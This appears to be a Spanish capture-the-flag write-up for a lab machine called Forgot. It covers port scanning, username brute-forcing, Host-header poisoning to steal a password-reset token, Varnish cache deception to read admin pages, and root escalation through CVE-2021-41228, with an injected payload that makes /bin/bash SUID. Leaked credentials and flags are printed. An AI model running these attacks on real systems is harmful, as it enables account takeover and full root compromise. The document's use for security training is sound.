Conocimientos

  • Enumeración Web

  • Information Disclosure

  • Abuso de caché via Reverse Proxy

  • CVE-2021-41228

  • Abuso de Privilegio a nivel de sudoers (Escalada de Privilegios)


Reconocimiento

Escaneo de puertos con nmap

Descubrimiento de puertos abiertos

nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.188 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-13 09:11 GMT
Nmap scan report for 10.10.11.188
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de versión y servicios de cada puerto

nmap -sCV -p22,80 10.10.11.188 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-13 09:12 GMT
Nmap scan report for 10.10.11.188
Host is up (0.058s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    Werkzeug/2.1.2 Python/3.8.10
|_http-title: Login
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 NOT FOUND
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Tue, 13 Jun 2023 09:12:17 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     X-Varnish: 32775
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Tue, 13 Jun 2023 09:12:11 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 219
|     Location: http://127.0.0.1
|     X-Varnish: 32770
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Connection: close
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://127.0.0.1">http://127.0.0.1</a>. If not, click the link.
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.8.10
|     Date: Tue, 13 Jun 2023 09:12:11 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|     X-Varnish: 12
|     Age: 0
|     Via: 1.1 varnish (Varnish/6.2)
|     Accept-Ranges: bytes
|     Connection: close
|   RTSPRequest, SIPOptions: 
|_    HTTP/1.1 400 Bad Request
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=6/13%Time=648832EF%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1E2,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.1\.2\x2
SF:0Python/3\.8\.10\r\nDate:\x20Tue,\x2013\x20Jun\x202023\x2009:12:11\x20G
SF:MT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
SF:20219\r\nLocation:\x20http://127\.0\.0\.1\r\nX-Varnish:\x2032770\r\nAge
SF::\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish/6\.2\)\r\nConnection:\x2
SF:0close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>Redirecting
SF:\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x20be\x20r
SF:edirected\x20automatically\x20to\x20the\x20target\x20URL:\x20<a\x20href
SF:=\"http://127\.0\.0\.1\">http://127\.0\.0\.1</a>\.\x20If\x20not,\x20cli
SF:ck\x20the\x20link\.\n")%r(HTTPOptions,114,"HTTP/1\.1\x20200\x20OK\r\nSe
SF:rver:\x20Werkzeug/2\.1\.2\x20Python/3\.8\.10\r\nDate:\x20Tue,\x2013\x20
SF:Jun\x202023\x2009:12:11\x20GMT\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OPTIONS\r\nContent-Length:\x200\r
SF:\nX-Varnish:\x2012\r\nAge:\x200\r\nVia:\x201\.1\x20varnish\x20\(Varnish
SF:/6\.2\)\r\nAccept-Ranges:\x20bytes\r\nConnection:\x20close\r\n\r\n")%r(
SF:RTSPRequest,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(FourOhFo
SF:urRequest,1BE,"HTTP/1\.1\x20404\x20NOT\x20FOUND\r\nServer:\x20Werkzeug/
SF:2\.1\.2\x20Python/3\.8\.10\r\nDate:\x20Tue,\x2013\x20Jun\x202023\x2009:
SF:12:17\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent
SF:-Length:\x20207\r\nX-Varnish:\x2032775\r\nAge:\x200\r\nVia:\x201\.1\x20
SF:varnish\x20\(Varnish/6\.2\)\r\nConnection:\x20close\r\n\r\n<!doctype\x2
SF:0html>\n<html\x20lang=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\
SF:x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\
SF:x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x2
SF:0please\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\n")%r
SF:(SIPOptions,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.01 seconds

Puerto 80 (HTTP)

Con whatweb analizo las tecnologías que emplea el servidor web

whatweb http://10.10.11.188
http://10.10.11.188 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.1.2 Python/3.8.10], IP[10.10.11.188], PasswordField[password], Python[3.8.10], Script[module], Title[Login], UncommonHeaders[x-varnish], Varnish, Via-Proxy[1.1 varnish (Varnish/6.2)], Werkzeug[2.1.2]

Tengo acceso a un panel de inicio de sesión

Intercepto la petición con BurpSuite

POST /login HTTP/1.1
Host: 10.10.11.188
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.188
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.188/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: __hstc=37486847.cf2c0d7ce8a81d6638f7885e6ef7ea42.1686647908509.1686647908509.1686647908509.1; hubspotutk=cf2c0d7ce8a81d6638f7885e6ef7ea42; __hssrc=1; __hssc=37486847.2.1686647908510
Connection: close

username=admin&password=admin

Utilizo SQLMap para probar si es vulnerable a inyección SQL

sqlmap -r request.req --batch --dbs
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.7.2#stable}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:25:13 /2023-06-13/


[09:25:36] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

[*] ending @ 09:25:36 /2023-06-13/

En las cabeceras de respuesta se puede ver que se emplea un reverse proxy llamado varnish

curl -s -X GET http://10.10.11.188/ -I
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Tue, 13 Jun 2023 09:26:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5186
X-Varnish: 131294
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Accept-Ranges: bytes
Connection: keep-alive

Aplico fuzzing para descubrir rutas

En /reset se puede modificar la contraseña de los usuarios

Al introducir cualquiera al azar, en la respuesta aparece el mensaje Invalid Token. Desde /forgot puedo enumerar usuarios

Intercepto la petición para ver como se tramita

GET /forgot?username=test HTTP/1.1
Host: 10.10.11.188
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: */*
Referer: http://10.10.11.188/forgot
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: __hstc=37486847.cf2c0d7ce8a81d6638f7885e6ef7ea42.1686647908509.1686647908509.1686647908509.1; hubspotutk=cf2c0d7ce8a81d6638f7885e6ef7ea42; __hssrc=1; __hssc=37486847.5.1686647908510
Connection: close

Con wfuzz aplico fuerza bruta

wfuzz -c -t 200 --sc=200 -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -H "Cookie: __hstc=37486847.cf2c0d7ce8a81d6638f7885e6ef7ea42.1686647908509.1686647908509.1686647908509.1; hubspotutk=cf2c0d7ce8a81d6638f7885e6ef7ea42; __hssrc=1; __hssc=37486847.5.1686647908510" 'http://10.10.11.188/forgot?username=FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.188/forgot?username=FUZZ
Total requests: 10177

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000001640:   200        0 L      2 W        16 Ch       "cassie"                                                                                                                                        
000003316:   200        0 L      2 W        16 Ch       "faye"

Es probable que después el servidor pete y sea necesario esperar un tiempo o resetear la máquina

curl -s -X GET http://10.10.11.188/
<!DOCTYPE html>
<html>
  <head>
    <title>503 Backend fetch failed</title>
  </head>
  <body>
    <h1>Error 503 Backend fetch failed</h1>
    <p>Backend fetch failed</p>
    <h3>Guru Meditation:</h3>
    <p>XID: 9076832</p>
    <hr>
    <p>Varnish cache server</p>
  </body>
</html>

En el código fuente se puede ver un usuario en un comentario

Lo introduzco en /forgot y se envía el link a un correo electrónico

Intercepto la petición y modifico la cabecera Host para que valga mi IP

Host: 10.10.16.4

Recibo el token en un servicio HTTP con python

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.188 - - [13/Jun/2023 09:54:05] code 404, message File not found
10.10.11.188 - - [13/Jun/2023 09:54:05] "GET /reset?token=LanUnP8QB20cOeQe01zLoQRg6CvUiryChIhrNFozIdQ9LD7kbaN9ma3hDO%2BVFbGGVE8tKXxijGfk8%2BQKDktpUg%3D%3D HTTP/1.1" 404 -

Ahora si que puedo moficar la contraseña

Tengo acceso a una nueva interfaz

En las cabeceras de respuesta de /tickets aparece una cabecera Age con valor 0

curl -s -X GET http://10.10.11.188/tickets -H "Cookie: __hstc=37486847.cf2c0d7ce8a81d6638f7885e6ef7ea42.1686647908509.1686647908509.1686647908509.1; hubspotutk=cf2c0d7ce8a81d6638f7885e6ef7ea42; __hssrc=1; session=30281b4d-9772-4409-ae01-48e8bf8df5c5; __hssc=37486847.13.1686647908510" -I

HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Tue, 13 Jun 2023 10:03:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 7610
Set-Cookie: session=30281b4d-9772-4409-ae01-48e8bf8df5c5; HttpOnly; Path=/
X-Varnish: 196624
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Accept-Ranges: bytes
Connection: keep-alive

Si elimino la cookie session hace un redirect a la raíz

curl -s -X GET http://10.10.11.188/tickets -H "Cookie: __hstc=37486847.cf2c0d7ce8a81d6638f7885e6ef7ea42.1686647908509.1686647908509.1686647908509.1; hubspotutk=cf2c0d7ce8a81d6638f7885e6ef7ea42; __hssrc=1" -I
HTTP/1.1 302 FOUND
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Tue, 13 Jun 2023 10:05:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 189
Location: /
X-Varnish: 78
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Connection: keep-alive

La ruta /static la utiliza el reverse proxy como almacenamiento caché. Intento cargar recursos de una ruta que no existe. Devuelve cache-control y el Age se modifica. Dado que se está cacheando, va a tomar como prioritario la autenticación desde el almacenamiento por lo que se puede tratar de leer tickets de usuarios administradores sin disponer sus credenciales

curl -s -X GET http://10.10.11.188/static/rubbx -H "Cookie: __hstc=37486847.cf2c0d7ce8a81d6638f7885e6ef7ea42.1686647908509.1686647908509.1686647908509.1; hubspotutk=cf2c0d7ce8a81d6638f7885e6ef7ea42; __hssrc=1" -I
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Tue, 13 Jun 2023 09:59:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
cache-control: public, max-age=240
X-Varnish: 196636 294933
Age: 388
Via: 1.1 varnish (Varnish/6.2)
Connection: keep-alive

La sección Tickets(Escalated) corresponde a la ruta /admin_tickets

En caso de que un usuario Administrador cachée su contenido, podré verlo sin necesidad de emplear una cookie de sesión. En /escalate hay un formulario desde el cual puedo enviar un link

Le envío el enlace http://10.10.11.188/admin_tickets/static/js/pwned.js. Pasado un tiempo al introducirlo en el navegador, puedo ver la página como si fuera el otro usuario, a través del enlace con la caché

Gano acceso por SSH y puedo ver la primera flag

sshpass -p 'dCb#1!x0%gjq' ssh diego@10.10.11.188
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-132-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 13 Jun 2023 01:54:43 PM UTC

  System load:           0.0
  Usage of /:            65.7% of 8.72GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             219
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.188
  IPv6 address for eth0: dead:beef::250:56ff:feb9:4bb3


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Nov 18 10:51:30 2022 from 10.10.14.40
diego@forgot:~$ cat user.txt 
a3f9f81a8f1e7561a4d02d5488226725

Escalada

Tengo un privilegio a nivel de sudoers

diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User diego may run the following commands on forgot:
    (ALL) NOPASSWD: /opt/security/ml_security.py

No dispongo de capacidad de escritura

diego@forgot:~$ ls -l /opt/security/ml_security.py
-rwxr-xr-x 1 root root 5644 Nov 14  2022 /opt/security/ml_security.py

Al ejecutarlo devuelve muchos errores

diego@forgot:~$ python3 /opt/security/ml_security.py
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.9) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
2023-06-13 14:02:41.042062: W tensorflow/stream_executor/platform/default/dso_loader.cc:64] Could not load dynamic library 'libcudart.so.11.0'; dlerror: libcudart.so.11.0: cannot open shared object file: No such file or directory
2023-06-13 14:02:41.042119: I tensorflow/stream_executor/cuda/cudart_stub.cc:29] Ignore above cudart dlerror if you do not have a GPU set up on your machine.
Traceback (most recent call last):
  File "/opt/security/ml_security.py", line 125, in <module>
    ynew1 = loaded_model1.predict(Xnew)
  File "/usr/local/lib/python3.8/dist-packages/sklearn/tree/_classes.py", line 437, in predict
    X = self._validate_X_predict(X, check_input)
  File "/usr/local/lib/python3.8/dist-packages/sklearn/tree/_classes.py", line 402, in _validate_X_predict
    X = self._validate_data(X, dtype=DTYPE, accept_sparse="csr",
  File "/usr/local/lib/python3.8/dist-packages/sklearn/base.py", line 421, in _validate_data
    X = check_array(X, **check_params)
  File "/usr/local/lib/python3.8/dist-packages/sklearn/utils/validation.py", line 63, in inner_f
    return f(*args, **kwargs)
  File "/usr/local/lib/python3.8/dist-packages/sklearn/utils/validation.py", line 637, in check_array
    raise ValueError(
ValueError: Expected 2D array, got 1D array instead:
array=[].
Reshape your data either using array.reshape(-1, 1) if your data has a single feature or array.reshape(1, -1) if it contains a single sample.

Contiene el siguiente código

#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string

np.random.seed(42)

f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'

# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")

# Create a function to convert an array of strings to a set of features
def getVec(text):
    features = []
    for i, line in enumerate(text):
        test_data = word_tokenize(line.lower())
        v1 = model.infer_vector(test_data)
        featureVec = v1
        lineDecode = unquote(line)
        lowerStr = str(lineDecode).lower()
        feature1 = int(lowerStr.count('link'))
        feature1 += int(lowerStr.count('object'))
        feature1 += int(lowerStr.count('form'))
        feature1 += int(lowerStr.count('embed'))
        feature1 += int(lowerStr.count('ilayer'))
        feature1 += int(lowerStr.count('layer'))
        feature1 += int(lowerStr.count('style'))
        feature1 += int(lowerStr.count('applet'))
        feature1 += int(lowerStr.count('meta'))
        feature1 += int(lowerStr.count('img'))
        feature1 += int(lowerStr.count('iframe'))
        feature1 += int(lowerStr.count('marquee'))
        # add feature for malicious method count
        feature2 = int(lowerStr.count('exec'))
        feature2 += int(lowerStr.count('fromcharcode'))
        feature2 += int(lowerStr.count('eval'))
        feature2 += int(lowerStr.count('alert'))
        feature2 += int(lowerStr.count('getelementsbytagname'))
        feature2 += int(lowerStr.count('write'))
        feature2 += int(lowerStr.count('unescape'))
        feature2 += int(lowerStr.count('escape'))
        feature2 += int(lowerStr.count('prompt'))
        feature2 += int(lowerStr.count('onload'))
        feature2 += int(lowerStr.count('onclick'))
        feature2 += int(lowerStr.count('onerror'))
        feature2 += int(lowerStr.count('onpage'))
        feature2 += int(lowerStr.count('confirm'))
        # add feature for ".js" count
        feature3 = int(lowerStr.count('.js'))
        # add feature for "javascript" count
        feature4 = int(lowerStr.count('javascript'))
        # add feature for length of the string
        feature5 = int(len(lowerStr))
        # add feature for "<script"  count
        feature6 = int(lowerStr.count('script'))
        feature6 += int(lowerStr.count('<script'))
        feature6 += int(lowerStr.count('&lt;script'))
        feature6 += int(lowerStr.count('%3cscript'))
        feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
        # add feature for special character count
        feature7 = int(lowerStr.count('&'))
        feature7 += int(lowerStr.count('<'))
        feature7 += int(lowerStr.count('>'))
        feature7 += int(lowerStr.count('"'))
        feature7 += int(lowerStr.count('\''))
        feature7 += int(lowerStr.count('/'))
        feature7 += int(lowerStr.count('%'))
        feature7 += int(lowerStr.count('*'))
        feature7 += int(lowerStr.count(';'))
        feature7 += int(lowerStr.count('+'))
        feature7 += int(lowerStr.count('='))
        feature7 += int(lowerStr.count('%3C'))
        # add feature for http count
        feature8 = int(lowerStr.count('http'))
        
        # append the features
        featureVec = np.append(featureVec,feature1)
        featureVec = np.append(featureVec,feature2)
        featureVec = np.append(featureVec,feature3)
        featureVec = np.append(featureVec,feature4)
        featureVec = np.append(featureVec,feature5)
        featureVec = np.append(featureVec,feature6)
        featureVec = np.append(featureVec,feature7)
        featureVec = np.append(featureVec,feature8)
        features.append(featureVec)
    return features


# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
conn.close()
data=[]
for i in r:
        data.append(i)
Xnew = getVec(data)

#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)

# show the sample inputs and predicted outputs
def assessData(i):
    score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
    if score >= .5:
        try:
                preprocess_input_exprs_arg_string(data[i],safe=False)
        except:
                pass

for i in range(len(Xnew)):
     t = threading.Thread(target=assessData, args=(i,))
#     t.daemon = True
     t.start()

Se está empleando la liberería tensorflow. En este artículo indican como extraer la versión

diego@forgot:~$ python3 -c 'import tensorflow as tf; print(tf.__version__)' 2>/dev/null
2.6.3

Busco por vulnerabilidades asociadas en Synk. Parece ser vulnerable al CVE-2021-41228. Encuentro un POC en Github. Modifico la bash para que sea SUID. Se puede hacer a través del formulario, ya que se conecta a esa misma base de datos

Pwned=Exec("""Import Os\Nos.System("Chmod 4755 /Bin/Bash")""");#<Script>Alert(1)</Script>

Ejecuto y puedo ver la segunda flag

diego@forgot:~$ sudo /opt/security/ml_security.py
2023-06-13 14:37:07.491579: W tensorflow/stream_executor/platform/default/dso_loader.cc:64] Could not load dynamic library 'libcudart.so.11.0'; dlerror: libcudart.so.11.0: cannot open shared object file: No such file or directory
2023-06-13 14:37:07.491963: I tensorflow/stream_executor/cuda/cudart_stub.cc:29] Ignore above cudart dlerror if you do not have a GPU set up on your machine.
chmod: invalid mode: ‘u’
Try 'chmod --help' for more information.
chmod: invalid mode: ‘u’
Try 'chmod --help' for more information.
diego@forgot:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
diego@forgot:~$ bash -p
bash-5.0# cat /root/root.txt
e328645fd660e814a9e55ac5f6ac3dcb

También se puede hacer insertando la query manualmente

mysql> insert into escalate (reason) values ('pwned=exec("""import os\nos.system("chmod 4755 /bin/bash")""")');
Query OK, 1 row affected (0.00 sec)